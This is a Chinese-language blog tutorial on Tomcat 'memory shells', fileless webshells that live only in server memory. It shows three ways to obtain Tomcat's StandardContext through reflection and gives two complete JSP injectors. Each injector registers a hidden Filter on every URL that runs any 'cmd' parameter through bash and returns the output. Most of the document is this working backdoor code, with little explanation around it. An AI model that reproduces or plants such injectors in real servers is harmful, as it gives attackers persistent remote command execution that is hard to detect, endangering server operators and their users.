Java Tomcat内存马—入门到入土
前言:
对于各类Java 容器的内存马主要是需要获取context
为什么context 对象这么重要呢,
对于能达成的目的:context拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。
这里演示的为Filter 类型
一、当前获取context方法总结
1.JSP 通过pageContext获取context
StandardContext context=((ApplicationContextFacade) ((PageContextImpl) pageContext).context).context.context;
本地建立一个testFiter 进行测试
StandardContext context=((ApplicationContextFacade) ((PageContextImpl) pageContext).context).context.context; FilterDef def =new FilterDef(); def.setFilterName("a"); def.setFilterClass("cn.o2oxy.testFilter"); context.addFilterDef(def); ApplicationFilterConfig applicationFilterConfig = new ApplicationFilterConfig(context, def); context.filterConfigs.put("a", applicationFilterConfig); FilterMap m =new FilterMap(); m.addURLPattern("/*"); m.setFilterName("a"); context.addFilterMap(m);
完整的如下:
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "o2oxy.cn"; Field page_context = pageContext.getClass().getDeclaredField("context"); page_context.setAccessible(true); ServletContext servletContext=(ServletContext)page_context.get(pageContext); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
2. 通过当前request 获取context 来源于https://xz.aliyun.com/t/10362
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
二、没有request 的情况
还是通过Thread.currentThread() 去获取context对象。随便下一个段点进行测试
具体参考:
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.StandardContext"%> <%@ page import="org.apache.catalina.core.StandardEngine"%> <%@ page import="org.apache.catalina.core.StandardHost"%> <%@ page import="java.lang.reflect.Field"%> <%@ page import="java.util.HashMap"%> <%@ page import="java.util.Iterator"%> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <% class Tomcat6789 { String uri; String serverName; StandardContext standardContext; public Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (NoSuchFieldException e){} catch (IllegalAccessException e){} clazz = clazz.getSuperclass(); } return null; } public Tomcat6789() { Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); Object object; for (Thread thread : threads) { if (thread == null) { continue; } if (thread.getName().contains("exec")) { continue; } Object target = this.getField(thread, "target"); if (!(target instanceof Runnable)) { continue; } try { object = getField(getField(getField(target, "this$0"), "handler"), "global"); } catch (Exception e) { continue; } if (object == null) { continue; } java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors"); Iterator iterator = processors.iterator(); while (iterator.hasNext()) { Object next = iterator.next(); Object req = getField(next, "req"); Object serverPort = getField(req, "serverPort"); if (serverPort.equals(-1)){continue;} org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB"); this.serverName = (String) getField(serverNameMB, "strValue"); if (this.serverName == null){ this.serverName = serverNameMB.toString(); } if (this.serverName == null){ this.serverName = serverNameMB.getString(); } org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB"); this.uri = (String) getField(uriMB, "strValue"); if (this.uri == null){ this.uri = uriMB.toString(); } if (this.uri == null){ this.uri = uriMB.getString(); } this.getStandardContext(); return; } } } public void getStandardContext() { Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); for (Thread thread : threads) { if (thread == null) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = this.getField(thread, "target"); HashMap children; Object jioEndPoint = null; try { jioEndPoint = getField(target, "this$0"); }catch (Exception e){} if (jioEndPoint == null){ try{ jioEndPoint = getField(target, "endpoint"); }catch (Exception e){ return; } } Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service"); StandardEngine engine = null; try { engine = (StandardEngine) getField(service, "container"); }catch (Exception e){} if (engine == null){ engine = (StandardEngine) getField(service, "engine"); } children = (HashMap) getField(engine, "children"); StandardHost standardHost = (StandardHost) children.get(this.serverName); children = (HashMap) getField(standardHost, "children"); Iterator iterator = children.keySet().iterator(); while (iterator.hasNext()){ String contextKey = (String) iterator.next(); if (!(this.uri.startsWith(contextKey))){continue;} StandardContext standardContext = (StandardContext) children.get(contextKey); this.standardContext = standardContext; return; } } } } public StandardContext getSTC(){ return this.standardContext; } } %> <% Tomcat6789 a = new Tomcat6789(); StandardContext standardContext =a.getSTC(); final String name = "o2oxy.cn"; Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %> %>
具体效果如下:
参考: